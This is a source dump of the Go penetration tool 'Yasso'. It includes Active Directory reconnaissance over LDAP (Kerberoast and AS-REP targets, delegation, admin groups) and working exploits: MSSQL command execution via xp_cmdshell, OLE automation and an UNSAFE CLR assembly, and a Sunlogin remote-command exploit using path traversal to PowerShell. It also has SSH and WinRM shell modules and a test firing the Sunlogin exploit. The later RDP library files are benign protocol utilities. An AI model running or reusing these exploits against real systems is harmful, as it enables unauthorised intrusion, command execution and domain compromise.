{ 72 | logger.Fatal(err.Error()) 73 | } 74 | } 75 | if command == "users" && filter == "full-data" && name == "" { 76 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 77 | logger.Fatal(err.Error()) 78 | } 79 | } 80 | if command == "users" && name != "" && filter != "membership" { 81 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { 82 | logger.Fatal(err.Error()) 83 | } 84 | } 85 | if command == "users" && name != "" && filter == "membership" { 86 | if err := LdapUserMemberShipResolver(t, conn, baseDN, name, command); err != nil { 87 | logger.Fatal(err.Error()) 88 | } 89 | } 90 | if command == "computers" && filter == "list" && name == "" { 91 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 92 | logger.Fatal(err.Error()) 93 | } 94 | } 95 | if command == "computers" && filter == "full-data" && name == "" { 96 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 97 | logger.Fatal(err.Error()) 98 | } 99 | } 100 | if command == "computers" && name != "" { 101 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { 102 | logger.Fatal(err.Error()) 103 | } 104 | } 105 | if command == "groups" && filter == "list" && name == "" { 106 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 107 | logger.Fatal(err.Error()) 108 | } 109 | } 110 | if command == "groups" && filter == "full-data" && name == "" { 111 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 112 | logger.Fatal(err.Error()) 113 | } 114 | } 115 | if command == "groups" && name != "" && filter != "membership" { 116 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { 117 | logger.Fatal(err.Error()) 118 | } 119 | } 120 | if command == "groups" && filter == "membership" && name != "" { 121 | if err := LdapGroupResolver(t, conn, baseDN, name); err != nil { 122 | logger.Fatal(err.Error()) 123 | } 124 | } 125 | if command == "dc" { 126 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 127 | logger.Fatal(err.Error()) 128 | } 129 | } 130 | if command == "domain-trust" { 131 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 132 | logger.Fatal(err.Error()) 133 | } 134 | } 135 | if command == "spn" && filter == "list" && name == "" { 136 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 137 | logger.Fatal(err.Error()) 138 | } 139 | } 140 | if command == "spn" && filter == "full-data" && name == "" { 141 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 142 | logger.Fatal(err.Error()) 143 | } 144 | } 145 | if command == "spn" && name != "" { 146 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { 147 | logger.Fatal(err.Error()) 148 | } 149 | } 150 | if command == "never-loggedon" && filter == "list" && name == "" { 151 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 152 | logger.Fatal(err.Error()) 153 | } 154 | } 155 | if command == "gpo" && name == "" { 156 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 157 | logger.Fatal(err.Error()) 158 | } 159 | } 160 | if command == "ou" && name == "" { 161 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 162 | logger.Fatal(err.Error()) 163 | } 164 | } 165 | if command == "ms-sql" && filter == "list" && name == "" { 166 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 167 | logger.Fatal(err.Error()) 168 | } 169 | } 170 | if command == "ms-sql" && filter == "full-data" && name == "" { 171 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil { 172 | logger.Fatal(err.Error()) 173 | } 174 | } 175 | if command == "ms-sql" && name != "" { 176 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { 177 | logger.Fatal(err.Error()) 178 | } 179 | } 180 | if command == "asreproast" { 181 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 182 | logger.Fatal(err.Error()) 183 | } 184 | } 185 | if command == "unconstrained" { 186 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 187 | logger.Fatal(err.Error()) 188 | } 189 | } 190 | if command == "admin-priv" { 191 | if err := LdapListResolver(t, conn, baseDN, command); err != nil { 192 | logger.Fatal(err.Error()) 193 | } 194 | } 195 | t.Render() 196 | return nil 197 | } 198 | -------------------------------------------------------------------------------- /pkg/exploit/ldap/ldap.go: -------------------------------------------------------------------------------- 1 | package ldap 2 | 3 | import ( 4 | "Yasso/pkg/exploit/ldap/core/query" 5 | "fmt" 6 | "strings" 7 | ) 8 | 9 | // LdapAuthAndQuery ldap 认证并且查询目标 10 | // 设置参数 command , filter, user , password, dc host , name 11 | func LdapAuthAndQuery(ldapServer, ldapUser, ldapPassword, command, filter, name string, all bool) { 12 | s := strings.Split(ldapServer, ".") 13 | baseDN := "" 14 | for x := 1; x < len(s); x++ { 15 | if x == len(s)-1 { 16 | baseDN += "DC=" + s[x] 17 | } else { 18 | baseDN += "DC=" + s[x] + "," 19 | } 20 | } 21 | ldapServer = fmt.Sprintf("%s:389", ldapServer) 22 | query.LdapListQuery(ldapServer, ldapUser, ldapPassword, baseDN, command, filter, name, all) 23 | } 24 | 25 | func ListLdapCommand() { 26 | fmt.Println(" 可执行的查询命令") 27 | fmt.Println(" dc - 列出域控制器") 28 | fmt.Println(" domain-trust - 列出域信任关系") 29 | fmt.Println(" users - 列出域内全部用户") 30 | fmt.Println(" computers - 列出域内全部计算机") 31 | fmt.Println(" groups - 列出域内组和成员") 32 | fmt.Println(" spn - 列出服务的spn对象") 33 | fmt.Println(" never-loggedon - 列出域内从未登陆过的用户") 34 | fmt.Println(" gpo - 列出gpo规则对象") 35 | fmt.Println(" ou - 列出组织单位") 36 | fmt.Println(" ms-sql - 列出SQL Server服务(注册的)") 37 | fmt.Println(" asreproast - 列出AS-REP可托管账户") 38 | fmt.Println(" unconstrained - 列出不受约束委派的用户") 39 | fmt.Println(" admin-priv - 列出域内管理员权限组") 40 | fmt.Println(" 可执行的过滤器指令(users,groups,computers)") 41 | fmt.Println(" list - 仅仅列出全部对象") 42 | fmt.Println(" full-data - 列出全部对象带有对象属性") 43 | fmt.Println(" membership - 列出全部的成员从一个对象当中") 44 | } 45 | -------------------------------------------------------------------------------- /pkg/exploit/mssql/mssql.go: -------------------------------------------------------------------------------- 1 | package mssql 2 | 3 | import ( 4 | config2 "Yasso/config" 5 | "Yasso/core/logger" 6 | "Yasso/core/plugin" 7 | "Yasso/pkg/exploit/config" 8 | "database/sql" 9 | _ "embed" 10 | "fmt" 11 | "strconv" 12 | "time" 13 | ) 14 | 15 | //go:embed static/SharpSQLKit.txt 16 | var SharpSQLKit string 17 | 18 | func ExploitMssql(exploits config.Exploits, method int, Command string) { 19 | var ( 20 | conn = new(setting) 21 | ) 22 | mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{ 23 | Hostname: exploits.Hostname, 24 | Port: exploits.Port, 25 | Timeout: 1000 * time.Millisecond, 26 | }, exploits.User, exploits.Pass) 27 | if status == false || err != nil { 28 | logger.Fatal("conn mssql failed") 29 | return 30 | } 31 | 32 | switch method { 33 | case 1: 34 | conn.Setting(mssqlConn) 35 | conn.xp_shell(Command) 36 | case 2: 37 | conn.Setting(mssqlConn) 38 | conn.sp_shell(Command) 39 | case 3: 40 | conn.Setting(mssqlConn) 41 | conn.Install_clr() 42 | case 4: 43 | conn.Setting(mssqlConn) 44 | conn.Uninstall_clr() 45 | default: 46 | logger.Fatal("not found mssql exploit method") 47 | return 48 | } 49 | } 50 | 51 | func (s *setting) Setting(conn *sql.DB) { 52 | s.Conn = conn 53 | } 54 | 55 | type setting struct { 56 | Conn *sql.DB 57 | Command string 58 | } 59 | 60 | func (s *setting) xp_shell(Command string) bool { 61 | 62 | if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() { 63 | return false 64 | } 65 | logger.Success(fmt.Sprintf("Command: %v", Command)) 66 | var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command) 67 | r, err := config.SQLExecute(s.Conn, sqlstr) 68 | if err != nil { 69 | logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err)) 70 | return false 71 | } 72 | for _, b := range r.Rows { 73 | fmt.Println(b[0]) 74 | } 75 | return true 76 | } 77 | 78 | func (s *setting) sp_shell(Command string) bool { 79 | if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() { 80 | return false 81 | } 82 | var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000) 83 | exec sp_oacreate 'wscript.shell',@shell output 84 | exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v' 85 | exec sp_oamethod @exec, 'StdOut', @text out; 86 | exec sp_oamethod @text, 'ReadAll', @str out 87 | select @str`, Command) 88 | logger.Success(fmt.Sprintf("Command: %v", Command)) 89 | r, err := config.SQLExecute(s.Conn, sqlstr) 90 | if err != nil { 91 | logger.Fatal(fmt.Sprintf("exec ole command failed %v", err)) 92 | return false 93 | } 94 | for i, b := range r.Rows { 95 | fmt.Println(b[i]) 96 | } 97 | return true 98 | } 99 | 100 | func (s *setting) Enable_ole() bool { 101 | if !s.set_configuration("show advanced options", 1) { 102 | logger.Fatal("cannot enable 'show advanced options'") 103 | return false 104 | } 105 | if !s.set_configuration("Ole Automation Procedures", 1) { 106 | logger.Fatal("cannot enable 'Ole Automation Procedures'") 107 | return false 108 | } 109 | return true 110 | } 111 | 112 | func (s *setting) check_configuration(option string, value int) bool { 113 | var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option) 114 | r, err := config.SQLExecute(s.Conn, Command) 115 | if err != nil { 116 | return false 117 | } 118 | if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { 119 | return true 120 | } 121 | return false 122 | } 123 | 124 | func (s *setting) set_configuration(option string, value int) bool { 125 | // 设置 126 | var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value) 127 | _, err := config.SQLExecute(s.Conn, Command) 128 | if err != nil { 129 | return false 130 | } 131 | return s.check_configuration(option, value) 132 | } 133 | 134 | func (s *setting) set_permission_set() bool { 135 | var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;") 136 | logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON") 137 | _, err := config.SQLExecute(s.Conn, Command) 138 | if err != nil { 139 | logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed") 140 | return false 141 | } 142 | return true 143 | } 144 | 145 | func (s *setting) enable_xp_cmdshell() bool { 146 | if !s.set_configuration("show advanced options", 1) { 147 | logger.Fatal("cannot ebable 'show advanced options'") 148 | return false 149 | } 150 | if !s.set_configuration("xp_cmdshell", 1) { 151 | logger.Fatal("cannot enable 'xp_cmdshell'") 152 | return false 153 | } 154 | return true 155 | } 156 | 157 | func (s *setting) Install_clr() bool { 158 | if !s.set_permission_set() { 159 | return false 160 | } 161 | if !s.CREATE_ASSEMBLY() { 162 | return false 163 | } 164 | if !s.CREATE_PROCEDURE() { 165 | return false 166 | } 167 | logger.Info("Install SharpSQLKit successful!") 168 | logger.Info("Please Use SQL Connect Tools to Execute") 169 | return true 170 | } 171 | 172 | func (s *setting) CREATE_ASSEMBLY() bool { 173 | var KitHex string 174 | logger.Info("SQLKit ==> SharpSQLKit") 175 | KitHex = SharpSQLKit 176 | var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module] 177 | AUTHORIZATION [dbo] 178 | FROM 0x%s 179 | WITH PERMISSION_SET = UNSAFE;`, KitHex) 180 | _, err := config.SQLExecute(s.Conn, Command) 181 | if err != nil { 182 | logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err)) 183 | return false 184 | } 185 | logger.Info("Import the assembly") 186 | return true 187 | } 188 | 189 | func (s *setting) CREATE_PROCEDURE() bool { 190 | var Command string 191 | Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`) 192 | _, err := config.SQLExecute(s.Conn, Command) 193 | if err != nil { 194 | logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err)) 195 | return false 196 | } 197 | logger.Info("Link the assembly to a stored procedure") 198 | return true 199 | } 200 | 201 | func (s *setting) Uninstall_clr() bool { 202 | var Command string 203 | logger.Info("SQLKit ==> SharpSQLKit") 204 | Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec 205 | drop assembly CLR_module`) 206 | _, err := config.SQLExecute(s.Conn, Command) 207 | if err != nil { 208 | logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err)) 209 | return false 210 | } 211 | logger.Info("uninstall SQLKit successful!") 212 | return true 213 | } 214 | -------------------------------------------------------------------------------- /pkg/exploit/redis/static/exp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sairson/Yasso/af9e833f02488d89ce425b503d33707d821b2aab/pkg/exploit/redis/static/exp.so -------------------------------------------------------------------------------- /pkg/exploit/ssh/ssh.go: -------------------------------------------------------------------------------- 1 | package ssh 2 | 3 | import ( 4 | config2 "Yasso/config" 5 | "Yasso/core/logger" 6 | "Yasso/core/plugin" 7 | "Yasso/pkg/exploit/config" 8 | "fmt" 9 | "golang.org/x/crypto/ssh" 10 | "golang.org/x/crypto/ssh/terminal" 11 | "os" 12 | "time" 13 | ) 14 | 15 | func ExploitSSH(exploits config.Exploits, key string) { 16 | var SshConn *ssh.Client 17 | var status bool 18 | var err error 19 | if key == "" { 20 | SshConn, status, err = plugin.SshConnByUser(config2.ServiceConn{ 21 | Hostname: exploits.Hostname, 22 | Port: exploits.Port, 23 | Timeout: 1000 * time.Millisecond, 24 | }, exploits.User, exploits.Pass) 25 | } else { 26 | SshConn, status, err = plugin.SshConnByKey(config2.ServiceConn{ 27 | Hostname: exploits.Hostname, 28 | Port: exploits.Port, 29 | Timeout: 1000 * time.Millisecond, 30 | PublicKey: key, 31 | }, exploits.User) 32 | } 33 | if err != nil || status == false { 34 | logger.Fatal("exploit ssh has an error conn to ssh failed") 35 | return 36 | } 37 | loginSSH(SshConn) // 连接到ssh 38 | } 39 | 40 | func loginSSH(client *ssh.Client) { 41 | defer client.Close() 42 | session, err := client.NewSession() 43 | if err != nil { 44 | logger.Fatal(fmt.Sprintf("new ssh session failed %v", err)) 45 | return 46 | } 47 | defer session.Close() 48 | session.Stdout = os.Stdout 49 | session.Stderr = os.Stderr 50 | session.Stdin = os.Stdin 51 | modes := ssh.TerminalModes{ 52 | ssh.ECHO: 1, 53 | ssh.TTY_OP_ISPEED: 14400, 54 | ssh.TTY_OP_OSPEED: 14400, 55 | ssh.VSTATUS: 1, 56 | } 57 | fd := int(os.Stdin.Fd()) 58 | oldState, err := terminal.MakeRaw(fd) 59 | if err != nil { 60 | logger.Fatal(fmt.Sprintf("terminal failed %v", err)) 61 | } 62 | defer terminal.Restore(fd, oldState) 63 | w, h, err := terminal.GetSize(fd) 64 | if err = session.RequestPty("xterm-256color", h, w, modes); err != nil { 65 | logger.Fatal(fmt.Sprintf("Session Request new xterm failed %v", err)) 66 | return 67 | } 68 | if err = session.Shell(); err != nil { 69 | logger.Fatal(fmt.Sprintf("Session start shell failed %v", err)) 70 | return 71 | } 72 | if err = session.Wait(); err != nil { 73 | logger.Fatal(fmt.Sprintf("Session wait failed %v", err)) 74 | return 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /pkg/exploit/sunlogin/sunlogin.go: -------------------------------------------------------------------------------- 1 | package sunlogin 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "Yasso/pkg/exploit/config" 6 | "fmt" 7 | "golang.org/x/text/encoding/simplifiedchinese" 8 | "io" 9 | "net/http" 10 | "net/url" 11 | "regexp" 12 | "time" 13 | ) 14 | 15 | func ExploitSunLogin(exploits config.Exploits, Command string) { 16 | addr := fmt.Sprintf("%v:%v", exploits.Hostname, exploits.Port) 17 | verify := getVerify(addr) 18 | if Command != "" { 19 | re := runCmd(Command, addr, verify) 20 | if re == "" { 21 | logger.Fatal(fmt.Sprintf("exploit %s failed", addr)) 22 | return 23 | } else { 24 | logger.Info(re) 25 | } 26 | } else { 27 | logger.Fatal("exploit need command params") 28 | return 29 | } 30 | } 31 | 32 | func getVerify(addr string) string { //获取Verify认证 33 | resp, err := http.Get(fmt.Sprintf("http://%s/cgi-bin/rpc?action=verify-haras", addr)) 34 | if err != nil { 35 | return "" 36 | } 37 | b, _ := io.ReadAll(resp.Body) 38 | reg := regexp.MustCompile(`"verify_string":"(.*?)"`) 39 | result := reg.FindAllSubmatch(b, 1) 40 | if len(result) > 0 { 41 | if len(result[0]) == 2 { 42 | return string(result[0][1]) 43 | } 44 | } 45 | return "" 46 | } 47 | func runCmd(cmd string, addr string, verify string) string { 48 | cmd = url.QueryEscape(cmd) 49 | target := "http://" + addr + `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd 50 | req, err := http.NewRequest("GET", target, nil) 51 | if err != nil { 52 | return "" 53 | } 54 | req.Header.Add("Cookie", "CID="+verify) 55 | var client = http.DefaultClient 56 | client.Timeout = 5 * time.Second 57 | resp, _ := client.Do(req) 58 | if err != nil || resp == nil { 59 | return "" 60 | } else { 61 | str, _ := io.ReadAll(resp.Body) 62 | str, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str) 63 | //fmt.Println(string(str)) 64 | return string(str) 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /pkg/exploit/sunlogin/sunlogin_test.go: -------------------------------------------------------------------------------- 1 | package sunlogin 2 | 3 | import ( 4 | "Yasso/pkg/exploit/config" 5 | "testing" 6 | ) 7 | 8 | func Test(t *testing.T) { 9 | ExploitSunLogin(config.Exploits{ 10 | Hostname: "192.168.248.1", 11 | Port: 49690, 12 | User: "", 13 | Pass: "", 14 | }, "whoami") 15 | 16 | } 17 | -------------------------------------------------------------------------------- /pkg/exploit/winrm/winrm.go: -------------------------------------------------------------------------------- 1 | package winrm 2 | 3 | import ( 4 | config2 "Yasso/config" 5 | "Yasso/core/logger" 6 | "Yasso/core/plugin" 7 | "Yasso/pkg/exploit/config" 8 | "fmt" 9 | "github.com/masterzen/winrm" 10 | "io" 11 | "os" 12 | "time" 13 | ) 14 | 15 | func ExploitWinRM(exploits config.Exploits, Command string, isShell int) { 16 | WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{ 17 | Hostname: exploits.Hostname, 18 | Port: exploits.Port, 19 | Timeout: 1000 * time.Millisecond, 20 | }, exploits.User, exploits.Pass) 21 | 22 | if err != nil || status == false { 23 | return 24 | } 25 | switch isShell { 26 | case 1: 27 | WinRMShell(WinRMConn, Command, false) 28 | case 2: 29 | WinRMShell(WinRMConn, Command, true) 30 | default: 31 | logger.Fatal("not found exploit method") 32 | return 33 | } 34 | } 35 | 36 | func WinRMShell(client *winrm.Client, Command string, shell bool) { 37 | if shell == true { 38 | shell, err := client.CreateShell() 39 | if err != nil { 40 | logger.Fatal(fmt.Sprintf("create shell failed %v", err)) 41 | return 42 | } 43 | var cmd *winrm.Command 44 | cmd, err = shell.Execute("cmd.exe") 45 | if err != nil { 46 | logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err)) 47 | return 48 | } 49 | 50 | go io.Copy(cmd.Stdin, os.Stdin) 51 | go io.Copy(os.Stdout, cmd.Stdout) 52 | go io.Copy(os.Stderr, cmd.Stderr) 53 | cmd.Wait() 54 | shell.Close() 55 | } else { 56 | _, err := client.Run(Command, os.Stdout, os.Stderr) 57 | if err != nil { 58 | logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err)) 59 | return 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /pkg/grdp/README.md: -------------------------------------------------------------------------------- 1 | # Golang Remote Desktop Protocol 2 | 3 | grdp is a pure Golang implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (**client side authorization only**). 4 | 5 | Forked from icodeface/grdp 6 | 7 | ## Status 8 | 9 | **The project is under development and not finished yet.** 10 | 11 | * [x] Standard RDP Authentication 12 | * [x] SSL Authentication 13 | * [x] NTLMv2 Authentication 14 | * [ ] Client UI(ugly) 15 | * [ ] VNC client(unfinished) 16 | 17 | ## Example 18 | 19 | 1. build in example dir on linux or windows 20 | 2. start example on port 8088 21 | 3. http://localhost:8088 22 | 23 | ## Take ideas from 24 | 25 | * [rdpy](https://github.com/citronneur/rdpy) 26 | * [node-rdpjs](https://github.com/citronneur/node-rdpjs) 27 | * [gordp](https://github.com/Madnikulin50/gordp) 28 | * [ncrack_rdp](https://github.com/nmap/ncrack/blob/master/modules/ncrack_rdp.cc) 29 | * [webRDP](https://github.com/Chorder/webRDP) -------------------------------------------------------------------------------- /pkg/grdp/core/io.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "encoding/binary" 5 | "io" 6 | ) 7 | 8 | type ReadBytesComplete func(result []byte, err error) 9 | 10 | func StartReadBytes(len int, r io.Reader, cb ReadBytesComplete) { 11 | b := make([]byte, len) 12 | go func() { 13 | _, err := io.ReadFull(r, b) 14 | //glog.Debug("StartReadBytes Get", n, "Bytes:", hex.EncodeToString(b)) 15 | cb(b, err) 16 | }() 17 | } 18 | 19 | func ReadBytes(len int, r io.Reader) ([]byte, error) { 20 | b := make([]byte, len) 21 | length, err := io.ReadFull(r, b) 22 | return b[:length], err 23 | } 24 | 25 | func ReadByte(r io.Reader) (byte, error) { 26 | b, err := ReadBytes(1, r) 27 | return b[0], err 28 | } 29 | 30 | func ReadUInt8(r io.Reader) (uint8, error) { 31 | b, err := ReadBytes(1, r) 32 | return uint8(b[0]), err 33 | } 34 | 35 | func ReadUint16LE(r io.Reader) (uint16, error) { 36 | b := make([]byte, 2) 37 | _, err := io.ReadFull(r, b) 38 | if err != nil { 39 | return 0, nil 40 | } 41 | return binary.LittleEndian.Uint16(b), nil 42 | } 43 | 44 | func ReadUint16BE(r io.Reader) (uint16, error) { 45 | b := make([]byte, 2) 46 | _, err := io.ReadFull(r, b) 47 | if err != nil { 48 | return 0, nil 49 | } 50 | return binary.BigEndian.Uint16(b), nil 51 | } 52 | 53 | func ReadUInt32LE(r io.Reader) (uint32, error) { 54 | b := make([]byte, 4) 55 | _, err := io.ReadFull(r, b) 56 | if err != nil { 57 | return 0, nil 58 | } 59 | return binary.LittleEndian.Uint32(b), nil 60 | } 61 | 62 | func ReadUInt32BE(r io.Reader) (uint32, error) { 63 | b := make([]byte, 4) 64 | _, err := io.ReadFull(r, b) 65 | if err != nil { 66 | return 0, nil 67 | } 68 | return binary.BigEndian.Uint32(b), nil 69 | } 70 | 71 | func WriteByte(data byte, w io.Writer) (int, error) { 72 | b := make([]byte, 1) 73 | b[0] = byte(data) 74 | return w.Write(b) 75 | } 76 | 77 | func WriteBytes(data []byte, w io.Writer) (int, error) { 78 | return w.Write(data) 79 | } 80 | 81 | func WriteUInt8(data uint8, w io.Writer) (int, error) { 82 | b := make([]byte, 1) 83 | b[0] = byte(data) 84 | return w.Write(b) 85 | } 86 | 87 | func WriteUInt16BE(data uint16, w io.Writer) (int, error) { 88 | b := make([]byte, 2) 89 | binary.BigEndian.PutUint16(b, data) 90 | return w.Write(b) 91 | } 92 | 93 | func WriteUInt16LE(data uint16, w io.Writer) (int, error) { 94 | b := make([]byte, 2) 95 | binary.LittleEndian.PutUint16(b, data) 96 | return w.Write(b) 97 | } 98 | 99 | func WriteUInt32LE(data uint32, w io.Writer) (int, error) { 100 | b := make([]byte, 4) 101 | binary.LittleEndian.PutUint32(b, data) 102 | return w.Write(b) 103 | } 104 | 105 | func WriteUInt32BE(data uint32, w io.Writer) (int, error) { 106 | b := make([]byte, 4) 107 | binary.BigEndian.PutUint32(b, data) 108 | return w.Write(b) 109 | } 110 | 111 | func PutUint16BE(data uint16) (uint8, uint8) { 112 | b := make([]byte, 2) 113 | binary.BigEndian.PutUint16(b, data) 114 | return uint8(b[0]), uint8(b[1]) 115 | } 116 | 117 | func Uint16BE(d0, d1 uint8) uint16 { 118 | b := make([]byte, 2) 119 | b[0] = d0 120 | b[1] = d1 121 | 122 | return binary.BigEndian.Uint16(b) 123 | } 124 | 125 | func RGB565ToRGB(data uint16) (r, g, b uint8) { 126 | r = uint8(uint32(data&0xF800)>>11) << 3 127 | g = uint8(uint32(data&0x07E0)>>5) << 2 128 | b = uint8(uint32(data&0x001F)) << 3 129 | 130 | return 131 | } 132 | -------------------------------------------------------------------------------- /pkg/grdp/core/io_test.go: -------------------------------------------------------------------------------- 1 | package core_test 2 | 3 | import ( 4 | "bytes" 5 | "encoding/hex" 6 | "testing" 7 | 8 | "Yasso/pkg/grdp/core" 9 | ) 10 | 11 | func TestWriteUInt16LE(t *testing.T) { 12 | buff := &bytes.Buffer{} 13 | core.WriteUInt32LE(66538, buff) 14 | result := hex.EncodeToString(buff.Bytes()) 15 | expected := "ea030100" 16 | if result != expected { 17 | t.Error(result, "not equals to", expected) 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /pkg/grdp/core/rle_test.go: -------------------------------------------------------------------------------- 1 | // rle_test.go 2 | package core 3 | 4 | //func TestSum() { 5 | // input := []byte{ 6 | // 192, 44, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, 0, 19, 132, 232, 8, 12, 50, 142, 66, 77, 58, 208, 59, 225, 25, 1, 0, 0, 0, 0, 0, 0, 0, 132, 139, 33, 142, 66, 142, 66, 142, 66, 208, 59, 4, 43, 1, 0, 0, 0, 0, 0, 0, 0, 132, 203, 41, 142, 66, 142, 66, 142, 66, 208, 59, 96, 0, 1, 0, 0, 0, 0, 0, 0, 0, 132, 9, 17, 142, 66, 142, 66, 142, 66, 208, 59, 230, 27, 1, 0, 0, 0, 0, 0, 0, 0, 132, 200, 8, 9, 17, 139, 33, 74, 25, 243, 133, 14, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, 7 | // } 8 | // out := decompress(input, 64, 64, 2) 9 | // fmt.Println(out) 10 | //} 11 | -------------------------------------------------------------------------------- /pkg/grdp/core/socket.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "crypto/rsa" 5 | "math/big" 6 | 7 | "github.com/huin/asn1ber" 8 | 9 | //"crypto/tls" 10 | "errors" 11 | "net" 12 | 13 | "github.com/icodeface/tls" 14 | ) 15 | 16 | type SocketLayer struct { 17 | conn net.Conn 18 | tlsConn *tls.Conn 19 | } 20 | 21 | func NewSocketLayer(conn net.Conn) *SocketLayer { 22 | l := &SocketLayer{ 23 | conn: conn, 24 | tlsConn: nil, 25 | } 26 | return l 27 | } 28 | 29 | func (s *SocketLayer) Read(b []byte) (n int, err error) { 30 | if s.tlsConn != nil { 31 | return s.tlsConn.Read(b) 32 | } 33 | return s.conn.Read(b) 34 | } 35 | 36 | func (s *SocketLayer) Write(b []byte) (n int, err error) { 37 | if s.tlsConn != nil { 38 | return s.tlsConn.Write(b) 39 | } 40 | return s.conn.Write(b) 41 | } 42 | 43 | func (s *SocketLayer) Close() error { 44 | if s.tlsConn != nil { 45 | err := s.tlsConn.Close() 46 | if err != nil { 47 | return err 48 | } 49 | } 50 | return s.conn.Close() 51 | } 52 | 53 | func (s *SocketLayer) StartTLS() error { 54 | config := &tls.Config{ 55 | InsecureSkipVerify: true, 56 | MinVersion: tls.VersionTLS10, 57 | MaxVersion: tls.VersionTLS13, 58 | PreferServerCipherSuites: true, 59 | } 60 | s.tlsConn = tls.Client(s.conn, config) 61 | return s.tlsConn.Handshake() 62 | } 63 | 64 | type PublicKey struct { 65 | N *big.Int `asn1:"explicit,tag:0"` // modulus 66 | E int `asn1:"explicit,tag:1"` // public exponent 67 | } 68 | 69 | func (s *SocketLayer) TlsPubKey() ([]byte, error) { 70 | if s.tlsConn == nil { 71 | return nil, errors.New("TLS conn does not exist") 72 | } 73 | pub := s.tlsConn.ConnectionState().PeerCertificates[0].PublicKey.(*rsa.PublicKey) 74 | return asn1ber.Marshal(*pub) 75 | } 76 | -------------------------------------------------------------------------------- /pkg/grdp/core/types.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import "Yasso/pkg/grdp/emission" 4 | 5 | type Transport interface { 6 | Read(b []byte) (n int, err error) 7 | Write(b []byte) (n int, err error) 8 | Close() error 9 | 10 | On(event, listener interface{}) *emission.Emitter 11 | Once(event, listener interface{}) *emission.Emitter 12 | Emit(event interface{}, arguments ...interface{}) *emission.Emitter 13 | } 14 | 15 | type FastPathListener interface { 16 | RecvFastPath(secFlag byte, s []byte) 17 | } 18 | 19 | type FastPathSender interface { 20 | SendFastPath(secFlag byte, s []byte) (int, error) 21 | } 22 | -------------------------------------------------------------------------------- /pkg/grdp/core/util.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "crypto/rand" 5 | "encoding/binary" 6 | "unicode/utf16" 7 | ) 8 | 9 | func Reverse(s []byte) []byte { 10 | for i, j := 0, len(s)-1; i < j; i, j = i+1, j-1 { 11 | s[i], s[j] = s[j], s[i] 12 | } 13 | return s 14 | } 15 | 16 | func Random(n int) []byte { 17 | const alpha = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 18 | var bytes = make([]byte, n) 19 | rand.Read(bytes) 20 | for i, b := range bytes { 21 | bytes[i] = alpha[b%byte(len(alpha))] 22 | } 23 | return bytes 24 | } 25 | 26 | func convertUTF16ToLittleEndianBytes(u []uint16) []byte { 27 | b := make([]byte, 2*len(u)) 28 | for index, value := range u { 29 | binary.LittleEndian.PutUint16(b[index*2:], value) 30 | } 31 | return b 32 | } 33 | 34 | // s.encode('utf-16le') 35 | func UnicodeEncode(p string) []byte { 36 | return convertUTF16ToLittleEndianBytes(utf16.Encode([]rune(p))) 37 | } 38 